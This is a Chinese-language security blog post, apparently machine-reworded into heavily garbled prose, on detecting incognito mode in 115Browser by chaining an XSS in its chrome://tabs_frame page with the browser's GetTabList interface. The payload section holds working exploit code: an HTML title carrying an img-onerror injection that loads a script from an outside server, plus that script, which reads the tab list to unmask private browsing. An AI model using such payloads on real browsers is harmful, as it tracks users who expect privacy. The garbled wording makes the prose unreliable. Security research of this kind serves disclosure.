我可能是用了假的隐身形式

0x01 隐身形式

隐身形式会翻开一个新窗口，以便在其间以私密办法阅读互联网，而不让阅读器记载拜访的网站，当封闭隐身窗口后也不会留下 Cookie 等其他痕迹。用户可以在隐身窗口和所翻开的任何惯例阅读窗口之间进行切换，用户只要在运用隐身窗口时才会处于隐身形式，本文将简略的谈一下根据形式差异化的进犯办法。

0x02 阅读器形式的差异化

做过阅读器指纹检测的或许知道运用不同的函数办法或许 DOM 来判别指纹，想要判别方针阅读器当时处于隐身形式仍是正常形式，当然也需求找出两种形式下的差异化在哪里，之后运用脚本或其他办法去判别。尽管隐身形式不能用传统那些勘探指纹的办法来判别，但我在之前运用隐身形式的过程中发现，当用户输出拜访某些 ChromeURL 的时分阅读器不会在当时形式下翻开，例如：chrome://settings/manageProfile, chrome://history, chrome://extensions/ 等。这个差异很大的原因或许是隐私形式下关于 extensions, history, profile… 不相关信息时做出的不同处理，运用这个“特性”我想可以做些工作。

0x03 Vuln + Feature

现在咱们的抱负进犯流程：

获取阅读器当时 Title/location.href/Tabs 等信息；运用 JavaScript 翻开上面测验存在差异化的 URL ；判别用户现在的阅读器形式是否存在这个奇妙的不同；

拿 115Browser 7.2.25 举例，当咱们在隐私形式下翻开 chrome://settings 时，阅读器启动了一个正常阅读器的进程：

咱们知道是不能从非 chrome 协议直接 href 跨到阅读器域的：

location.href='chrome://settings'
"chrome://settings"
testchrome.html:1 Not allowed to load local resource: chrome://settings/

所以这儿我去寻觅一个 chrome 域的跨站缝隙，这个 115 Chrome 域下的缝隙（已修正）坐落 chrome://tabs_frame ，页面 DOM 动态烘托网站 TABS Title 时过滤不谨慎导致的跨站：

var tpl = '<li><span>{title}</span><span class="close"></span></li>',
 dom = {
 list: document.getElementsByTagName('ul')[0],
 index: -1,
 doc: document
 },
 //jQuery,迭代得到当时米素在某个方向上的米素调集
 dir = function(elem, dir) {
 var matched = [],
 cur = elem[dir];

while (cur && cur.nodeType !== 9) {
 if (cur.nodeType === 1) {
 matched.push(cur);
 }
 cur = cur[dir];
 }
 return matched;
 };

...

//callback：获取当时翻开的标签并显现
 OOF_GET_TAB_LIST = function(str) {
 var json = JSON.parse(str),
 tabList = [];
 for (var i = json.length - 1; i >= 0; i--) {
 tabList.unshift(tpl.replace(/{(w+)}/g, function(match, key) {
 return json[i][key];
 }));
 }
 dom.list.innerHTML = tabList.join("");
 }

现在咱们可以依照上面的思路来进行判别了，这儿我为了便利直接运用 115阅读器的 browserInterface.GetTabList 接口来获取 TABS 的差异化：

browserInterface.GetTabList
function(callback) {
 native function NativeGetTabList();
 return NativeGetTabList(callback);
}

这个办法接回收调函数获取当时阅读器的 TABS 信息：

0x04 Payload

http://server.n0tr00t.com/chrome/check_incognito_mode.html

<!DOCTYPE HTML>
<html>
<head>
 <title><img src=@ style="display: none;" 
onerror="a=document.createElement('script');a.src='http://server.n0tr00t.com/chrome/checkwindow.js?'+n
ew Date().getTime();a.id='abc';document.body.appendChild(a);">
 </title>
</head>
 <body>
 TEST Chromeium Incognito Window
 </body>
</html>

http://server.n0tr00t.com/chrome/checkwindow.js

/**
 * Author: evi1m0.bat[at]gmail.com
 * Check Chromium Browser Incognito Window
 **/

initCount = function(){
 location.href = 'chrome://settings/';
}

check = function(){
 if(window.data.indexOf('"href":"chrome://settings/"') < 0){
 document.body.innerHTML = 'Chrome Incognito Window!!!';
 } else {
 document.body.innerHTML = 'Chrome Normal :)'; 
 }
}

setTimeout("initCount()", 100);
callback = function(data){window.data = data};
browserInterface.GetTabList('callback');
setTimeout("check()", 1000);

正常形式网页阅读和隐身形式网页的阅读图：

0x05 EOF

经过缝隙和特性的运用咱们成功的完成了对阅读器隐身形式的追寻，在测验过程中发现有些阅读器 chrome://…url 是禁用的，但仍然可以他们自身阅读器运用的伪协议来完成差异化的跳转（例如 QQ 阅读器的 qqbrowser:// ），这种特性尽管需求一个缝隙来合作运用，不过我以为相比之下难度着实小了许多。

发表于 2021-04-15 17:52
阅读 ( 235 )
分类：互联网